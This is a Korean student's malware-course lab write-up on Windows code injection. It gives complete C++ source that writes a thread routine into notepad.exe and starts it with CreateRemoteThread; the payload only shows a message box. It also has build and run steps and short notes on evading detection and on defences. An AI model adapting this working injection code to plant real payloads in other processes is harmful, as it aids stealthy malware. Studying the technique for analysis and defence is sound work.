[ 악성코드 ] PreLab4
코드 인젝션 사용하는 이유 :
1. 메모리를 적게 차지함. (DLL 인젝션 보다는)
2. 탐지 가능성이 낮다. (DLL 인젝션 보다는) : DLL인젝션 같은 경우 인젝션 되고 이젝션되기 전까지는 메모리 공간을 차지하고 있기 때문에 탐지될 가능성이 있음. 공간도 크게 차지함(코드 인젝션 보다). 코드 인젝션의 경우 이런 측면에서 DLL 인젝션 보다 탐지 가능성이 낮음.
3. Code Injector 필요
1. 코드 인젝션 하기
(0) CodeInjection.cpp 파일에서 dwSize = (DWORD)InjectCode - (DWORD)ThreadProc;
뒤에 dwSize = (DWORD)abs((int)dwSize);를 추가한다.
(1) Windows 10 가상머신에 접속한 후, Visual Studio를 구동하여 CodeInjection.cpp에 대응되는 CodeInjection.exe 파일을 생성한다. (빈 프로젝트, 유니코드 문자집합, Release 모드에서 생성함)
(2) notepad.exe를 실행한 후 Process Explorer를 실행하여 notepad.exe의 PID값을 알아낸다.
(3) Windows PowerShell상에서 notepad.exe의 PID를 첫 번째 인자로 설정하여 CodeInjection.exe을 실행한다.
(4) notepad.exe 프로세스 상에서 www.reversecore.com 문자를 담은 메시지 박스가 나타나는 것을 확인한다.
소스코드
// CodeInjection.cpp
// reversecore@gmail.com
// http://www.reversecore.com
#include "windows.h"
#include "stdio.h"
typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // 인젝션에 필요한 것들을 파라미터 형태로 저장?.. : "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, *PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)
(
LPCSTR lpLibFileName
);
typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(
HMODULE hModule,
LPCSTR lpProcName
);
typedef int (WINAPI *PFMESSAGEBOXA)
(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
DWORD WINAPI ThreadProc(LPVOID lParam) // 스레드프록 먼저 선언하고 인젝 코드를 선언함
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); // "user32.dll" 로드, 전 prelab과는 다르게 하나씩 설정?중..
if( !hMod )
return 1;
// GetProcAddress() hMod = user32.dll
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); // user32.dll에 있는 "MessageBoxA"의 주소를 가져옴
if( !pFunc )
return 1;
// 최종적으로 MessageBoxA()를 띄움. 포인터를 통해 access해서 호출하는 방식.
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}
BOOL InjectCode(DWORD dwPID) // 인젝션 코드
{
HMODULE hMod = NULL;
THREAD_PARAM param = {0,};
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemoteBuf[2] = {0,};
DWORD dwSize = 0;
hMod = GetModuleHandleA("kernel32.dll"); // kernel32.dll에 정의된 함수를 사용. 사용했다고 DLL 인젝션인게 아님!!
// set THREAD_PARAM 스레드 파라미터 설정
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll"); // 인젝션에 사용할 정보들..
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "www.reversecore.com");
strcpy_s(param.szBuf[3], "ReverseCore");
// Open Process : dwPID에 해당하는 프로세스를 open함 ex) notepad의 프로세스
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, // dwDesiredAccess
FALSE, // bInheritHandle
dwPID)) ) // dwProcessId
{
printf("OpenProcess() fail : err_code = %d\n", GetLastError());
return FALSE;
}
// Allocation for THREAD_PARAM
dwSize = sizeof(THREAD_PARAM); // 스레드 파라미터의 사이즈만큼 가상메모리 공간을 할당받음
if( !(pRemoteBuf[0] = VirtualAllocEx(hProcess, // hProces
/*할당받은 공간을 가리키는 포인터*/ NULL, // lpAddress
/*RemoteBuf[]*/ dwSize, // dwSize
MEM_COMMIT, // 실제 할당, commit하는 애(MEM_COMMIT) <> 예약만 하는 애는 이름 따로 있음 : flAllocationType
PAGE_READWRITE)) ) // flProtect
{
printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
return FALSE;
}
//실제 메모리에 작성함
if( !WriteProcessMemory(hProcess, // hProcess
pRemoteBuf[0], // lpBaseAddress
(LPVOID)¶m, // lpBuffer
dwSize, // nSize
NULL) ) // [out] lpNumberOfBytesWritten
{
printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
return FALSE;
}
// Allocation for ThreadProc(), 파라미터 삽입?
// 둘이 빼면 Thread Proc함수의 내용이 남음
dwSize = (DWORD)InjectCode - (DWORD)ThreadProc; //InjectCode : 인젝 함수의 시작주소, ThreadProc : 스레드 함수의 시작 주소.
dwSize = (DWORD)abs((int)dwSize); // 추가 수정 : size가 항상 절대값(abs)이 나오게끔
// size만큼 공간 할당. 시작 주소를 받게됨
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess, // hProcess
NULL, // lpAddress
dwSize, // dwSize
MEM_COMMIT, // flAllocationType
PAGE_EXECUTE_READWRITE)) ) // flProtect
{
printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
return FALSE;
}
// 프로시저 삽입
if( !WriteProcessMemory(hProcess, // hProcess
pRemoteBuf[1], // lpBaseAddress
(LPVOID)ThreadProc, // lpBuffer
dwSize, // nSize
NULL) ) // [out] lpNumberOfBytesWritten
{
printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
return FALSE;
}
if( !(hThread = CreateRemoteThread(hProcess, // hProcess
NULL, // lpThreadAttributes
0, // dwStackSize
/*스레드 프로시저*/ (LPTHREAD_START_ROUTINE)pRemoteBuf[1], // dwStackSize 스레드 프로시저
pRemoteBuf[0], // lpParameter, 파라미터 가리킴
0, // dwCreationFlags
NULL)) ) // lpThreadId
{
printf("CreateRemoteThread() fail : err_code = %d\n", GetLastError());
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
int main(int argc, char *argv[])
{
DWORD dwPID = 0; // PID 초기화
if( argc != 2 )
{
printf("\n USAGE : %s <pid>\n", argv[0]);
return 1;
}
// change privilege
//if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
// return 1;
// code injection
dwPID = (DWORD)atol(argv[1]); // PID 값을 인자로 받아와 인젝션 실행함
InjectCode(dwPID);
return 0;
}
1. DLL 인젝션에 비해 코드 인젝션이 갖는 장점은 무엇인가?
내용 적게 차지 / 탐지가능성 낮음
2. 공격자가 코드 인젝션 기법을 악성 코드 삽입에 사용한다면, 이에 대한 방어로서 어떠한 기법들이 있을지 서술하시오.
런타임 메모리에서 검사
확실한 건 동적분석을 통해 악성 행위를 탐지